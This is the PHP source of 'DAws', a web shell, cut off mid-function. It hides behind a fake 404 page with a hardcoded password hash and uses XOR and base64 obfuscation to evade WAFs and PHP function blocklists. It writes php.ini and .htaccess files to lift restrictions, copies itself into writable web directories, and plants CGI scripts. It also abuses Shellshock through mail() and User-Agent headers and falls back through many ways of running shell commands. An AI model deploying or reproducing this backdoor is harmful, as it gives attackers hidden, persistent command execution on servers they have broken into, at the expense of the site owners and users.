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DAws.php
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DAws.php
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<?php
@session_start(); //with error supression because using session_start() multiple times was causing an error on IIS for some reason which makes no sense at all.
//static 404 page
//-->
$static_fake_page = "
<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p>
<hr>
<address>".$_SERVER["SERVER_SOFTWARE"]." Server at ".$_SERVER['SERVER_ADDR']." Port 80</address>
</body></html>"; //this will be used if DAws fails to show a dynamic fake 404 page
/*
if (!isset($_SESSION["logged_in"])) {
if (isset($_POST["pass"])) {
if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
$_SESSION["logged_in"] = True;
} else {
session_destroy();
header("HTTP/1.1 404 Not Found");
echo $static_fake_page;
exit;
}
} else {
session_destroy();
header("HTTP/1.1 404 Not Found");
echo $static_fake_page;
exit();
}
}*/
//<--
if (ob_get_level()) {
ob_end_clean(); //no point of having output buffering on yet
}
if (!isset($_SESSION['key'])) { //create our session key which will be used for encryption
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$characters_length = strlen($characters);
$random_string = "";
for ($i = 0; $i < 10; $i++) { //length = 10 (length doens't really matter that much though, check our xor functions to understand why)
$random_string .= $characters[rand(0, $characters_length - 1)];
}
$_SESSION['key'] = $random_string;
}
if (!isset($_SESSION['windows'])) {
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') { //checking if we're running on a Window's machine
$_SESSION["windows"] = True;
$_SESSION["windows_drive"] = realpath("\\"); //saving the values instead of using realpath multiple times later on
} else {
$_SESSION["windows"] = False;
}
}
//base64 recoded to bypass disablers
$base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/");
function bin_dec($string) {
$decimal = "";
for($i = 0; $i<strlen($string); $i++) {
$dec = intval($string{(strlen($string))-$i-1})*pow(2, $i);
$decimal+=$dec;
}
return intval($decimal);
}
function dec_bin($dec) {
$binary = "";
$current = intval($dec);
if ($current == 0) {
return "0";
}
while (1) {
if ($current == 1) {
$binary="1".$binary;
break;
}
$binary = ($current%2).$binary;
$current = intval($current/2);
}
return $binary;
}
function base64encoding($string) {
global $base64ids;
$binary = "";
for ($i = 0; $i<strlen($string); $i++) {
$charASCII = ord($string{$i});
$asciiBIN = dec_bin($charASCII);
if (strlen($asciiBIN) != 8) {
$asciiBIN = str_repeat("0", 8-strlen($asciiBIN)).$asciiBIN;
}
$binary.= $asciiBIN;
}
$array = array();
for ($j = 0; $j<strlen($binary); $j = $j + 6) {
$part = substr($binary, $j, 6);
array_push($array, $part);
}
if (strlen($array[count($array)-1]) != 6) {
$array[count($array)-1] = $array[count($array)-1].str_repeat("0", 6 - strlen($array[count($array)-1]));
}
$base64 = "";
foreach ($array as &$value) {
$value = bin_dec($value);
$value = $base64ids[$value];
$base64.=$value;
}
if ((strlen($base64) % 4) != 0) {
$base64.=str_repeat("=", 4-(strlen($base64) % 4));
}
return $base64;
}
function base64decoding($string) {
global $base64ids;
$string = str_replace("=", "", $string);
$binary = "";
for ($i = 0; $i < strlen($string); $i++) {
$charID = array_search($string{$i}, $base64ids);
$idBIN = dec_bin($charID);
if (strlen($idBIN) != 6) {
$idBIN = str_repeat("0", 6-strlen($idBIN)).$idBIN;
}
$binary.= $idBIN;
}
if (strlen($binary) %8 != 0) {
$binary = substr($binary, 0, strlen($binary)-(strlen($binary) %8));
}
$array = array();
for ($j = 0; $j<strlen($binary); $j = $j + 8) {
$part = substr($binary, $j, 8);
array_push($array, $part);
}
$text = "";
foreach ($array as &$value) {
$value = bin_dec($value);
$value = chr($value);
$text.=$value;
}
return $text;
}
function xor_this($string, $key=null) { //our 'random key' based xor encryption
if ($string == "") {
return $string;
}
if ($key == null) {
$key = $_SESSION['key'];
}
$outText = '';
for($i=0; $i<strlen($string);) {
for($j=0; ($j<strlen($key) && $i<strlen($string)); $j++,$i++) {
$outText .= $string{$i} ^ $key{$j};
}
}
return base64encoding($outText);
} //so basically every string character gets xored once by one key character. That key character is chosen by order
//example: string=dotcppfile key=1234
//d will get xored by 1
//o will get xored by 2
//etc
//the first p will get xored by 1 as well because we start all over when all the characters of our key gets used.
//this gets the job done at its best when it comes to bypassing security systems like WAFs, etc...
function unxor_this($string, $key=null) {
if ($string == "") {
return $string;
}
if ($key == null) {
$key = $_SESSION['key'];
}
return base64decoding(xor_this(base64decoding($string), $key));
}
//recursive glob used later on to find DAws's directory (first method)
function recursive_glob($path) {
$paths = glob($path."/*", GLOB_ONLYDIR);
foreach ($paths as $path) {
if ((is_readable($path)) && (is_writable($path))) {
return $path;
} else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
//we can chmod a direcotry that we own and gift it to our beloved DAws!
$fileowner = posix_getpwuid(fileowner($path));
$fileowner = $fileowner["name"];
if($_SESSION["process_owner"] == $fileowner) { //we own that folder
if (chmod($path, 0777)) { //successfully chmoded
return $path;
}
}
}
}
foreach ($paths as $path) {
$path = recursive_glob($path);
if ($path != "") {
return $path;
}
}
}
//recursive iterator used later on to find DAws's directory (second method)
function recursive_iterator($location) {
$iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(realpath($location)), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$paths = array(realpath($location));
foreach ($iter as $path => $dir) {
if ($dir->isDir()) {
if ((is_readable($dir)) && (is_writable($dir))) {
return realpath($path);
} else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
//we can chmod a direcotry that we own and gift it to our beloved DAws!
$fileowner = posix_getpwuid(fileowner($dir));
$fileowner = $fileowner["name"];
if($_SESSION["process_owner"] == $fileowner) { //we own that folder
if (chmod($dir, 0777)) { //successfully chmoded
return realpath($path);
}
}
}
}
}
}
function get_php_ini($string) { //read from php.ini
$output = @ini_get($string);
if ($output == "") {
$output = @get_cfg_var($string);
}
return $output;
}
//check what's disabled by disable_functions and suhosin
$disabled_php = array();
$disabled_suhosin = array();
foreach (explode("," , get_php_ini(unxor_this("AAYHAhIcAzYKEAoMAAofHhU=", "dotcppfile"))) as $disabled) { //disable_functions
array_push($disabled_php, $disabled);
}
foreach (explode(",", get_php_ini(unxor_this("AAYHAhIcAzYPCQUcBwYD", "dotcppfile"))) as $disabled) { //disabled_classes
array_push($disabled_php, $disabled);
}
foreach (explode("," , get_php_ini(unxor_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==", "dotcppfile"))) as $disabled) { //suhosin.executor.func.blacklist
array_push($disabled_suhosin, $disabled);
}
$disabled_php = array_filter($disabled_php);
$disabled_suhosin = array_filter($disabled_suhosin);
$disabled_php = array_map('trim', $disabled_php);
$disabled_suhosin = array_map('trim', $disabled_suhosin);
function disabled_php($function_name) { //checks if a function is disabled by php
foreach ($GLOBALS["disabled_php"] as $value) {
if ($function_name == $value) {
return True;
}
}
return False;
}
function disabled_suhosin($function_name) { //checks if a function is disabled by suhosin
foreach ($GLOBALS["disabled_suhosin"] as $value) {
if ($function_name == $value) {
return True;
}
}
return False;
}
function installed_php($function=null, $class=null) { //checks if a function/class exists
if ($function != null) {
if (disabled_php("function_exists") == False) {
if (disabled_suhosin("function_exists") == False) {
if (function_exists($function)) {
return True;
} else {
return False;
}
} else {
if (bypass_suhosin("function_exists", $function)) {
return True;
} else {
return False;
}
}
} else {
ob_start();
$test = $function();
$return_value = ob_get_contents();
ob_end_clean();
if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
return True;
} else {
return False;
}
}
} else {
if (disabled_php("class_exists") == False) {
if (disabled_suhosin("class_exists") == False) {
if (class_exists($class)) {
return True;
} else {
return False;
}
} else
if (bypass_suhosin("class_exists", $class)) {
return True;
} else {
return False;
}
} else {
ob_start();
$test = new $class();
$return_value = ob_get_contents();
ob_end_clean();
if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
return True;
} else {
return False;
}
}
}
}
//dynamic 404 page -->
//Now the reason I don't like this much is because there's a lot of important code that needs to be ran first
//to make sure that we can show a dynamic fake 404 page while bypassing security systems
if (!isset($_SESSION["logged_in"])) {
$show_it = False;
if (isset($_POST["pass"])) {
if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
$_SESSION["logged_in"] = True;
} else {
session_destroy();
@header("HTTP/1.1 404 Not Found");
$show_it = True;
}
} else {
session_destroy();
@header("HTTP/1.1 404 Not Found");
$show_it = True;
}
if ($show_it == True) {
$random_url = "";
if (isset($_SERVER['HTTPS'])) {
$random_url .= "https";
} else {
$random_url .= "http";
}
$random_string = time();
$random_url .= "://".$_SERVER['SERVER_NAME']."/".$random_string."/DAws.php"; //our random bitch
$output = @url_get_contents($random_url);
if ($output != "") {
echo str_replace("/".$random_string."/DAws.php", "/DAws.php", $output);
} else {
echo $static_fake_page;
}
exit();
}
}//<--
//finds current process's owner
if (!isset($_SESSION["process_owner"])) {
if (installed_php("posix_geteuid")) { //Linux
$_SESSION["process_owner"] = posix_getpwuid(posix_geteuid());
$_SESSION["process_owner"] = $_SESSION["process_owner"]["name"];
} else { //Linux and Windows
$_SESSION["process_owner"] = getenv('USERNAME');
}
}
//finds DAws's directory; a writeable and readable directory, move to it and drop our php.ini and .htaccess files that will
//make life easier if suphp is installed
if (!isset($_SESSION["daws_directory"])) {
$daws_dir = getcwd();
if ($_SESSION["windows"] == True) {
$_SESSION["slash"] = "\\"; //we can use this later on
} else {
$_SESSION["slash"] = "/";
}
//finding the web dir which will be used here and when deploying the CGI Scripts
//not using DOCUMENT_ROOT anymore because it may need to be hardcoded and reset, and fuck all of that
$array = explode($_SESSION["slash"], getcwd());
for ($i = 0; $i<(count(explode("/", $_SERVER["SCRIPT_NAME"]))-2); $i++) {
array_pop($array);
}
$_SESSION["web_dir"] = implode($_SESSION["slash"], $array);
//finding DAws's directory
if ((is_writable($daws_dir)) && (is_readable($daws_dir))) {
$_SESSION["daws_directory"] = $daws_dir; //no need to look further since we are in it
} else { //lets dance
$locations = array($_SESSION["web_dir"], realpath($_SESSION["slash"])); //we go for a random directory if a proper web directory wasn't found
foreach ($locations as $location) {
//uses the recursive glob function for old php versions
if (disabled_php("glob") == False) {
$_SESSION["daws_directory"] = recursive_glob(realpath($location));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (installed_php(null, "RecursiveIteratorIterator") == True)) { //Iterator incoming!
$_SESSION["daws_directory"] = recursive_iterator($location);
}
if ((isset($_SESSION["daws_directory"])) && ($_SESSION["daws_directory"] != "")) {
break;
}
}
}
if (basename($_SESSION["daws_directory"]) != "DAws") { //We just landed, time to get ready for battle because we got some mofos to kill!
$_SESSION["daws_directory"] .= "/DAws";
@mkdir($_SESSION["daws_directory"]); //incase it already existed. We'll simply replace the old files of DAws with the new ones.
if (strpos($_SESSION["daws_directory"], $_SESSION["web_dir"]) !== False) {
//we clear all disablers, allow eval and url opening
$php_ini = "AAYHAhIcAzYKEAoMAAofHhVJUW8ABgcCEhwDNg8JBRwHBgNQW2MfEAwABwoeXgMRCQYRGxsRXhYTBw9LBgMVABscDxoYRVlPVkF6AxMBAxYNAVoGCBUFHBgKFkEQCgMRBAUJOgEZFQ9QTUYmCgNuDhgPHwc5HB4JOwkbExUeRlRMKgo=";
//and here we link that php.ini to suphp as a config file
//http://support.hostgator.com/articles/specialized-help/technical/how-to-get-your-php-ini-path-with-suphp
$htaccess ="<IfModule mod_suphp.c>\nsuPHP_ConfigPath ".$_SESSION["daws_directory"].$_SESSION["slash"]."php.ini\n</IfModule>";
write_to_file($_SESSION["daws_directory"]."/php.ini", unxor_this($php_ini, "dotcppfile"));
write_to_file($_SESSION["daws_directory"]."/.htaccess", $htaccess);
//and now we move our DAws to its directory if it's not there already
if (getcwd() != $_SESSION["daws_directory"]) {
copy($_SERVER["SCRIPT_FILENAME"], $_SESSION["daws_directory"]."/DAws.php");
header("Location: http://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $_SESSION["daws_directory"]."/DAws.php"));
}
}
}
}
function write_to_file($location, $string) {
$output = file_put_contents_extended($location, $string); //file_put_contents
if ($output != False) {
return;
}
$fp = fopen_extended($location, "w"); //fopen
if ($fp != False) {
fwrite($fp, $string);
fclose($fp);
return;
}
execute_command("echo ".escapeshellarg($string)." > $location"); //system commands
}
function read_file($location) {
if (filesize($location) == 0) { //empty files will cause file_get_contents to return false and fread to cause an error
return "";
}
$content = file_get_contents_extended($location); //file_get_contents
if ($content == False) {
return htmlspecialchars($content);
}
$fp = fopen_extended($location, "r"); //fopen
if ($fp != False) {
$content = htmlspecialchars(fread($fp, filesize($location)));
fclose($fp);
return $content;
}
if ($_SESSION["windows"] == True) { //system commands
return htmlspecialchars(execute_command("type $location"));
} else {
return htmlspecialchars(execute_command("cat $location"));
}
return "DAws: failed to read the file because file_get_contents_extended, fopen_extended and system commands failed."; //fail
}
function url_get_contents($url, $user_agent=null) { //used to download the source of a webpage
if ((installed_php("curl_version") == True) && (disabled_php("curl_init") == False)) { //using curl
if (disabled_suhosin("curl_init") == False) {
$ch = curl_init(str_replace(" ","%20",$url));
} else {
$ch = bypass_suhosin("curl_init", str_replace(" ","%20",$url));
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($user_agent != null) { //used by shellshock (method 2)
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
}
$content = curl_exec($ch);
curl_close($ch);
return $content;
}
//for file_get_contents and fopen
if ($user_agent != null) {
$opts = array('http'=>array('header'=>"User-Agent: $user_agent\r\n"));
$context = stream_context_create($opts);
} else {
$context = null;
}
//using file_get_contents
$content = file_get_contents_extended($url, True, $context);
if ($content != False) {
return $content;
}
//using fopen
$fp = fopen_extended($url, "r", True, $context);
if ($fp != False) {
$content = fread($fp, filesize($url));
fclose($fp);
return $content;
}
//using system commands (no need to apply shellshock here since we're already using system commands...)
if ($_SESSION["windows"] == True) {
if (execute_command("bitsadmin", True) == True) { //bitsadmin is a nice choice here
return execute_command("bitsadmin.exe /Transfer DAwsDownloadJob $link $location > null; type $location");
} else if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { //powershell comes next
return execute_command("powershell.exe Invoke-WebRequest $link -OutFile $location > null; type $location");
} else {
return False; //sadly, nothing worked
}
} else { //curl or wget for Linux
if (execute_command("curl", True) == True) {
return execute_command("curl $url");
} else if (execute_command("wget", True) == True) {
return execute_command("wget -qO- $url");
} else {
return False;
}
}
}
if (!isset($_SESSION["cgi"])) { //setting up the cgi scripts
$cgi_htaccess = "bi4QBzgRCA0AABZPFwQZXRUKHgwUG1RNAxhGRw4EEGU7EwQZCQcfRU8qDAYTMyEgZg==";
$cgi_bash = "R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4AHx0LCAIBWQ8RABgfRktINDEqJjovIzI7JSsjTVQfUAMDDUxICk9TEF8uSEMPCgkCFQ0UTTpBNztCMl4/WV5MTUM5VUAERFAMRgsNFgFZQENdXQIMDwoAClQfUAMDDUxHF0BRUUBfRkYLR0QTVBAVFEZLH0pPQFRMF1IGYwkTBQNURxMfCwQNCwA=";
$cgi_bat = "JAoXCx9QCQ8Kb24KFwsfUCUGAhEBAQBOBAkWDFZFEAoMF18YEgQAbwEMHAxeemwACkUBFx0QBFACDA8KAApaFwgERg0JCUQLEQAfFANHGB0QZVwGExgJSUk0MSomOi8jMjslKyNVCltVWUZXTAAKDBsHFRRIHRQRbgwREQQFEgAARUkLEQAfFANJTgAKDBsHFRRIHRQRRk9WBxUTCQ0JSxAXAEF6AwMdQxVEDBkHTUwCDA8KAApaFwgEbEwPCABK";
$cgi_path = $_SESSION["daws_directory"]."/cgi";
if (isset($_SERVER['HTTPS'])) {
$protocol = "https";
} else {
$protocol = "http";
}
if (!file_exists($cgi_path)) {
mkdir($cgi_path);
}
//writing everything
write_to_file($cgi_path."/.htaccess", unxor_this($cgi_htaccess, "dotcppfile"));
if ($_SESSION["windows"] == True) {
write_to_file($cgi_path."/DAws.bat", unxor_this($cgi_bat, "dotcppfile"));
chmod($cgi_path."/DAws.bat", 0755);
$_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace("\\", "/", str_replace(realpath($_SESSION["web_dir"]), "", $cgi_path))."/DAws.bat";
} else {
write_to_file($cgi_path."/DAws.sh", unxor_this($cgi_bash, "dotcppfile"));
chmod($cgi_path."/DAws.sh", 0755);
$_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $cgi_path)."/DAws.sh";
}
//testing it
$test = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding("echo dotcppfile"));
if(($test != "") && (strpos($test, "Internal Server Error") === False) && (strpos($test, "QUERY_STRING") === False)) {
$_SESSION["cgi"] = True;
} else {
$_SESSION["cgi"] = False;
}
}
function execute_ssh($command) { //ssh
include_php($_SESSION["daws_directory"]."/SSH2.php"); //this should have been uploaded by the user himself
$ssh = new Net_SSH2('127.0.0.1', $_SESSION["ssh_port"]);
if ($ssh->login($_SESSION["ssh_user"], unserialize($_SESSION["ssh_rsa"]))) {
return $ssh->exec($command);
}
}
function shsh($command) { //shellshock (method 1)
$filename = $_SESSION["daws_directory"].time().".data";
putenv("PHP_LOL=() { x; }; $command > $filename 2>&1");
mail("[email protected]", "", "", "", "-bv");
if (file_exists($filename)) {
$content = read_file($filename);
unlink($filename);
} else {
$content = "";
}
return $content;
} //this was written by Starfall and I know that this will simply fail if sendmail wasn't installed
function shsh2($command) { //shellshock (method 2)
$filename = $_SESSION["daws_directory"].time().".data";
url_get_contents($_SESSION["shsh2_cgi_script"], "() { x; }; $command > $filename 2>&1"); //this will be updated later but lets keep it here for now
if (file_exists($filename)) {
$content = read_file($filename);
unlink($filename);
} else {
$content = "";
}
return $content;
} //this will send http requests with a shellshock user agent to a cgi script
if (!isset($_SESSION["shsh"])) { //testing shellshock1
if ($_SESSION["windows"] == False) { //more checks aren't necessary thanks to the upcoming test
if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
$_SESSION["shsh"] = True;
} else {
$_SESSION["shsh"] = False;
}
} else {
$_SESSION["shsh"] = False;
}
}
if (!isset($_SESSION["shsh2"])) { //testing shellshock2
if ($_SESSION["windows"] == False) {
if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
$_SESSION["shsh2"] = True;
} else {
$_SESSION["shsh2"] = False;
}
} else {
$_SESSION["shsh2"] = False;
}
}
//finds the location of ruby/perl/python for Windows
if (!isset($_SESSION["pathes_found"])) {
if ($_SESSION["windows"] == True) { //windows...
if (execute_command($_SESSION["windows_drive"]."Python27:python", True)) {
$_SESSION["python"] = $_SESSION["windows_drive"]."Python27\\python.exe";
}
if (execute_command($_SESSION["windows_drive"]."Python34:python", True)) {
$_SESSION["python"] = $_SESSION["windows_drive"]."Python34\\python.exe";
}
if (execute_command($_SESSION["windows_drive"]."Perl32\\bin:perl", True)) {
$_SESSION["perl"] = $_SESSION["windows_drive"]."Perl32\\bin\\perl.exe";
}
if (execute_command($_SESSION["windows_drive"]."Perl64\\bin:perl", True)) {
$_SESSION["perl"] = $_SESSION["windows_drive"]."Perl64\\bin\\perl.exe";
}
if (execute_command($_SESSION["windows_drive"]."Ruby21-x32\\bin:ruby", True)) {
$_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x32\\bin\\ruby.exe";
}
if (execute_command($_SESSION["windows_drive"]."Ruby21-x64\\bin:ruby", True)) {
$_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x64\\bin\\ruby.exe";
}
} else { //DAMN YOU BILL! Lol, this is much easier
$softwares = array("perl", "python", "ruby", "php");
foreach ($softwares as $software) {
if (execute_command($software, True)) {
$_SESSION[$software] = $software;
}
}
}
$_SESSION["pathes_found"] = True;
}
function bypass_suhosin($function, $arg1=null, $arg2=null, $arg3=null, $arg4=null, $arg5=null, $output_needed = True) { //I found no other way to deal with arguments... poor me.
if ($arg5 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4, $arg5);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4, $arg5);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3, $arg4, $arg5);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3, $arg4, $arg5), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
}
}
} else if ($arg4 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3, $arg4);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3, $arg4));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3, $arg4);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3, $arg4), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4);
}
}
} else if ($arg3 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3);
}
}
} else if ($arg2 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2);
}
}
} else if ($arg1 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1);
}
}
} else {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array());
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke();
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array());
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array());
} else if (disabled_php("array_walk") == False) {
$x = array();
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array(), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function);
}
}
}
return $return_value;
}
function execute_command($command, $software_check = False) { //this is also used to check for installed softwares
if ($software_check == True) {
if (($_SESSION["windows"]) == True) {
$command = "where $command";
} else {
$command = "which $command";
}
}
if (disabled_php("system") == False) { //not disabled by disable_functions
ob_start();
if (disabled_suhosin("system") == False) { //not disabled by Suhosin
system($command);
} else { //disabled by Suhosin
bypass_suhosin("system", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else if (disabled_php("passthru") == False) {
ob_start();
if (disabled_suhosin("passthru") == False) {
passthru($command);
} else {
bypass_suhosin("passthru", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else if (disabled_php("shell_exec") == False) {
if (disabled_suhosin("shell_exec") == False) {
$return_value = shell_exec($command);
} else {
$return_value = bypass_suhosin("shell_exec", $command);
}
} else if (disabled_php("exec") == False) {
if (disabled_suhosin("exec") == False) {
$return_value = exec($command);
} else {
$return_value = bypass_suhosin("exec", $command);
}
} else if (disabled_php("popen") == False) {
if (disabled_suhosin("popen") == False) {
$handle = popen($command, "r");
} else {
$handle = bypass_suhosin("popen", $command, "r");
}
$return_value = fread($handle, 4096);
pclose($handle);
} else if (disabled_php("proc_open") == False) {
if (disabled_suhosin("proc_open") == False) {
$process = proc_open(
$command,
array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
),
$pipes
);
} else { //this gave me a headache so I will check it out later
/*
echo "proc_open-suhosin";
$process = bypass_suhosin(
"proc_open",
$command,
array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
),
$pipes);*/
}
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
